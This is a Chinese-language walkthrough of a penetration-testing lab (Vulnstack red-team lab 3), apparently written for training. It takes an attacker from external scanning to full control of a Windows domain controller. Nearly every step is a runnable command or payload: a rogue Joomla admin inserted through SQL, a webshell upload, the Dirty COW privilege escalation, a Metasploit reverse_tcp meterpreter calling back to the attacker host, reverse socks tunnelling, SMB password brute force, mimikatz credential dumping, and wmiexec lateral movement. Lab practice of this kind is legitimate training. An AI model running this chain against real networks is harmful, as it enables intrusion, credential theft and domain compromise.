靶場實戰 | ATT&CK實戰 Vulnstack 紅隊(三)
環境配置
網絡拓撲圖(僅供參考)

攻擊機: kali ip:192.168.111.5 靶機: web-centos 外網ip:192.168.111.10 內網ip:192.168.93.100 web1-ubuntu ip: 192.168.93.120 PC ip: 192.168.93.30 win 2008 ip:192.168.93.20 win 2012 ip:192.168.93.10
信息搜集
端口掃描:
nmap -sS 192.168.111.10

發現三個開放端口:22,80,3306
80端口利用
發現是一個joomla搭建的網站

Joomla是一套全球知名的內容管理系統,是使用PHP語言加上MySQL數據庫所開發的
軟件系統。
Kali Linux中有一個漏洞掃描器叫做Joomscan,專門用于查找Joomla中的漏洞。
apt install joomscan
進行掃描
joomscan -u 192.168.111.10

這里我們發現了一個后臺地址和配置文件

從配置文件中我們可以得到數據庫賬號密碼 testuser/cvcvgjASD!@ 和庫名等信息
遠程登錄MySQL

但是我們會發現此處的密碼是加密過的,那么我們插入數據也應該修改為加密后的密碼
那么如何得到加密的密碼呢?我們可以再joomla的官方網站找到思路
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F

我們插入它的示例代碼就可以添加管理員 admin2/secret
INSERT INTO `am2zu_users`
(`name`, `username`, `password`, `params`, `registerDate`,
`lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA41
99', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
利用新建用戶登錄后臺,寫入木馬到 shell.php

Bypass disable_function
蟻劍連接,路徑 http://192.168.111.10/templates/beez3/shell.php

嘗試執行命令,發現 ret=127 應該是存在disable_function,可以用LD_PRELOAD繞
過,這里直接利用蟻劍插件,它會上傳一個 .antproxy.php ,我們創建副本,將文件更改為 .antproxy.php 即可

內網滲透
內網信息搜集
ifconfig 發現一個網段192.168.93.0/24 和 一個IP地址192.168.93.120cat /etc/issue #查看系統名稱 Ubuntu 16.04.6 LTS \lcat /etc/*release #查看linux發行信息uname -a #查看內核版本cat /proc/version #查看內核信息cat /etc/passwd #存放用戶名信息,沒有密碼信息cat /etc/shadow #存放用戶名密碼信息,密碼被加密,只要root用戶才能讀取
可以發現這是一個內網ip,且我們本身的ip并沒有出現
繼續進行信息搜集,在 /tmp/mysql 中發現一組用戶密碼,結合之前端口開放情況,
猜測可能是ssh憑證

我們使用ssh連接

也就是說該主機才是我們ip所在的主機,ubuntu則是通過nginx反向代理到了centos主機。
反向代理(Reverse Proxy)方式是指以代理服務器來接受Internet上的連接請求,然后將請求轉發給內部網絡上的服務器。
至此我們已經拿下兩臺主機
web-centos 外網ip:192.168.111.10 內網ip:192.168.93.100web1-ubuntu ip: 192.168.93.120
臟牛提權
由于目前主機權限較低,為了進一步利用,我們需要對其進行提權,查看一下centos
的內核版本
[wwwuser@localhost ~]$ uname -a Linux localhost.localdomain 2.6.32-431.el6.x86_64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
使用臟牛提權:
exp下載:https://github.com/FireFart/dirtycow CVE-2016-5195原理:linux內核的子系統在處理寫入時復制至產生了競爭條件,惡意用戶可利用此漏洞來獲取高權限,對只讀內存映射進行訪問。競爭條件,指的是任務執行順序異常,可導致應用奔潰,或令攻擊者有機可乘,進一步執行其他代碼,利用這一漏洞,攻擊者可在其目標系統提升權限,甚至可能獲取到root權限。影響版本:Centos7 /RHEL7 3.10.0-327.36.3.el7Cetnos6/RHEL6 2.6.32-642.6.2.el6Ubuntu 16.10 4.8.0-26.28Ubuntu 16.04 4.4.0-45.66Ubuntu 14.04 3.13.0-100.147Debian 8 3.16.36-1+deb8u2Debian 7 3.2.82-1
先將exp上傳到centos可執行目錄內
編譯:
gcc -pthread dirty.c -o dirty -lcrypt
移除原本的 passwd.bak 文件
rm -rf /tmp/passwd.bak
執行編譯后的文件,并設置密碼
./dirty 123456

成功提權
MSF上線
use exploit/multi/script/web_delivery set target 7 # 選擇目標系統 set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.111.5 set lport 4444 exploit

此時我們在目標機上運行該命令

獲得meterpreter

存活主機探測
先添加路由,把meterpreter 放在后臺,進行存活主機探測。
run autoroute -s 192.168.93.0/24 background use auxiliary/scanner/smb/smb_version set rhosts 192.168.93.0/24 exploit
得到了三臺TEST域的windows主機
192.168.93.20 windows server 2008 192.168.93.30 windows 7 192.168.93.10 windows server 2012
嘗試爆破一下windows server 2008的本地管理員
use auxiliary/scanner/smb/smb_login set rhosts 192.168.93.20 set SMBUser administrator set PASS_FILE /usr/share/wordlists/top1000.txt run
smb模塊沒有爆出來,我們利用其他軟件試試
Sock代理
路由轉發只能將msfconsole帶進內網,而要想將攻擊機上的其他攻擊程序也帶進內網還
需要搭建socks代理。.earthworm搭建socks5反向代理服務 是為了讓kali(攻擊者)
的程序進入內網,可以掃描內網主機信息等。
https://github.com/idlefire/ew
在kali上執行
./ew_for_linux64 -s rcsocks -l 1080 -e 1234 #將1080端口監聽到的本地數據轉發到 web服務器的1234端口 # 通過1080端口,將本地流量轉發出去 #rcsocks、rssocks 用于反向連接 #ssocks 用于正向連接 # -l 指定本地監聽的端口 # -e 指定要反彈到的機器端口 # -d 指定要反彈到機器的IP # -f 指定要主動連接的機器 ip # -g 指定要主動連接的機器端口 # -t 指定超時時長,默認為 1000

之后將其上傳到centos,執行
./ew_for_linux64 -s rssocks -d 192.168.111.5 -e 1234 #192.168.111.5 是攻擊者kali的IP地址
將socks5 服務器指向 1080端口
vim /etc/proxychains.conf

此時已經能夠成功ping通內網,我們利用hydra再嘗試一下爆破
proxychains hydra -l administrator -P /tmp/top1000.txt smb://192.168.93.20

成功!
橫向移動
wmiexec連接win主機
wmi 出現在所有的 windows 操作系統中,由一組強大的工具集合組成,用于管理本
地或遠程的 windows 系統。攻擊者使用 wmi 攻擊時 windows 系統默認不會在日志中
記錄這些操作,可以做到無日志、攻擊腳本無需寫入到磁盤,增加了隱蔽性。
安裝:
git clone https://github.com/CoreSecurity/impacket.git cd impacket/ pip install .
連接win 2008:
proxychains python3 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.20'

mimikatz密碼抓取
tasklist /V 查看進程(顯示對應用戶),發現TEST域進程,可以嘗試抓密碼。
使用 smbclient 通過代理連接 windows server 2008 上傳mimikatz.exe文件
proxychains smbclient //192.168.93.20/C$ -U administratorput mimikatz.exe
下載地址:
https://github.com/gentilkiwi/mimikatz/releases
之后利用wmi抓取密碼
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log

得到 zxcASDqw123!!
此時我們還需要獲得域控的ip,先獲得win2008的ip

再ping一下域名服務器

也就是說域控信息:
ip:192.168.93.10 administrator/zxcASDqw123!!
拿下域控
可以使用wmiexec連接
proxychains python3 wmiexec.py ‘TEST.ORG/Administrator:zxcASDqw123!!@192.168.93.10’
或者使用ipc連接
IPC$(Internet Process Connection)是共享“命名管道”的資源,它是為了讓進程間通信而開放的命名管道,可以通過驗證用戶名和密碼獲得相應的權限,在遠程管理計算機和查看計算機的共享資源時使用。利用IPC$連接者可以與目標主機建立一個連接,得到目標主機上的目錄結構、用戶列表等信息。利用條件:1. 管理員開啟了默認共享2. 139或445端口開放 net use \\192.168.93.10\admin$ zxcASDqw123!! /user:test\administrato
總結
1.臟牛提權
2.sock代理
3.wmiexec